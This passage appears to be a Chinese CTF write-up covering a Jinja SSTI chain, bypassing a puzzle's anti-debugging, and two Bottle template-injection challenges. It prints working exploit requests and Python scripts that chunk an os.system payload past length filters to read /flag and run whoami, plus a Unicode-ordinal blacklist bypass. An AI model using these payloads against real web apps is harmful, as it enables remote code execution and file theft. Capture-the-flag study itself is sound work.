j.15~j.28%}{%set%0averi=j.26~j.28~j.25~j.30~j.25~j.13~j.25~j.22~j.37~j.32~j.15~j.28~j.29~j.19~j.25~j.24%}{%set%0aso=j.25~j.29%}{%set%0asv=j.29~j.15~j.28~j.32~j.15~j.28~j.37~j.32~j.15~j.28~j.29~j.19~j.25~j.24%}{%set%0apen=j.26~j.25~j.26~j.15~j.24%}{%set%0aap=j.11~j.26~j.26~j.22~j.19~j.13~j.11~j.30~j.19~j.25~j.24%}{%set%0aop=j.26~j.25~j.26%}{%set%0aim=j.37~j.37~j.19~j.23~j.26~j.25~j.28~j.30~j.37~j.37%}{%set%0aiml=j.19~j.23~j.26~j.25~j.28~j.30~j.22~j.19~j.0%}{%set%0aloa=j.28~j.15~j.22~j.25~j.11~j.14%}{%set%0ard=j.28~j.15~j.11~j.14%}{%set%0aco=j.0~j.11~j.29~j.15~j.7~j.5~j.47~j.48~j.16~j.49%}{%print(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(iml)|attr(loa)(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(so)))%}{%print(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(set)(g|attr(op)|attr(glo)|attr(get)(s)|attr(mod)|attr(get)(wer)|attr(serv)|attr(wsg),veri,g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(so)|attr(pen)(co)|attr(rd)()))%}{%endfor%}{%endfor%}%7B%23 HTTP/1.1
Host: gz.imxbt.cn:20051
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

123456789abcdefghijklmnopqrstuvwxyz_-{}WSGIRH /*

把图片下载下载,感觉flag已经到手了。。

1
flag{__M@g1c1@ans_M@stering_M@g1c__}

ez_puzzle

这道题f12和右键都不行,连在其他页面打开f12再转到题目界面也不行。还能用快捷键来打开,ctrl+shift+i

打开源代码后会停在一个debugger的地方,然后一直循环,这是一个反调试的措施。我们可以选中这段代码右键进行忽略,这样我们就不能调试了。

我们全局搜一下alert看看

1
2
3
4
5
6
7
if (G < yw4) {
alert(O[s74](J74))
} else {
alert($vfeRha_calc(S74 + G / Rw4, Y74, $v5sNVR(vS4)))
}
void (O[t74] = !0x1,
location[K74]())

发现yw4的值是2000,那么第一个alert里面的东西肯定就是flag了,但是我们上面有反调试,将其忽略后我们打断点也没有用了,那怎么办呢?只能正常进行,但是时间是可以更改的。

那我们直接把yw4改成超级大

1
yw4=9999999999999

然后拼好拼图就拿到了flag

1
flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

出题人已疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

只限制了字数,open\,跟vnctf有点像,但是vnctf是有多行的,可以用海象运算法来进行拼接从而绕过字数限制。但是这里只有一行。

我们继续用拼接的方法来实现!

我们用%的方法,因为字数最短!

1
2
3
GET /attack?payload=%0a%import%20bottle;bottle.c="__import__('os').system('whoami')" HTTP/1.1

GET /attack?payload=%0a%import%20bottle;eval(bottle.c) HTTP/1.1

服务端回显如下:

1
2
3
127.0.0.1 - - [09/Apr/2025 11:17:37] "GET /attack?payload=%0a%import%20bottle;bottle.c="__import__('os').system('whoami')" HTTP/1.1" 200 7
127.0.0.1 - - [09/Apr/2025 11:17:58] "GET /attack?payload=%0a%import%20bottle;eval(bottle.c) HTTP/1.1" 200 7
meteor-kai\ty

这里有%0a的原因是因为%被嵌入在普通文本中,因此要先换行。

那么我们接下来拼接一下bottle.c的命令即可。

同时既然要字数少,我们找一个字数最短的模块,也就是os

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests


url='http://gz.imxbt.cn:20994/attack'

payload="__import__('os').system('cat /f*>123.txt')"
payload=[payload[i:i+4] for i in range(0,len(payload),4)]
print(payload)

for i in range(len(payload)):
if i==0:
tmp=f'\n%import os;os.a="{payload[i]}"'
#print(tmp)
r=requests.get(url,params={"payload":tmp})
else:
tmp=f'\n%import os;os.a+="{payload[i]}"'
#print(tmp)
r=requests.get(url,params={"payload":tmp})

tmp=f"\n%import os;eval(os.a)"
r=requests.get(url,params={"payload":tmp})

tmp=f"\n%include('123.txt')"
r=requests.get(url,params={"payload":tmp})
print(r.text)

构造脚本的时候遇到了一个小坑,就是以下:

1
tmp=f'\n%import os;os.a="{payload[i]}"'

此处包裹{payload[i]}的引号必须为双引号,因为python内部解析时是使用单引号的,如果这里包裹使用单引号会造成一种混淆。

这里如果长度限制放宽一点,也可以用system来命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests


url='http://127.0.0.1:5000/attack'

payload="whoami"
payload=[payload[i:i+3] for i in range(0,len(payload),3)]
print(payload)

for i in range(len(payload)):
if i==0:
tmp=f'\n%import os;os.a="{payload[i]}"'
#print(tmp)
r=requests.get(url,params={"payload":tmp})
else:
tmp=f'\n%import os;os.a+="{payload[i]}"'
#print(tmp)
r=requests.get(url,params={"payload":tmp})

tmp=f"\n%import os;print(os.a)"
r=requests.get(url,params={"payload":tmp})

tmp=f"\n%import os;os.system(os.a)"
r=requests.get(url,params={"payload":tmp})
#
# tmp=f"\n%include('1.txt')"
# r=requests.get(url,params={"payload":tmp})
# print(r.text)
1
flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}

这个flag是出题人又疯的压缩包密码。

出题人又疯

这道题的考点是bottle框架斜体字引发的一种ssti,我们需要使用阴性顺序指示符或者阳性顺序指示符来进行。

见:https://blog.meteorkai.top/2025/04/08/bottle%E6%A1%86%E6%9E%B6%E6%96%9C%E4%BD%93%E5%AD%97%E5%BC%95%E5%8F%91%E7%9A%84ssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

禁用了好多东西,之前的方法不行了。

原payload:

1
http://192.168.79.128:5000/attack?payload={{open(%27/flag%27).read()}}

由于oread被过滤,那么把ao替换即可

1
http://192.168.79.128:5000/attack?payload={{%BApen(%27/flag%27).re%aad()}}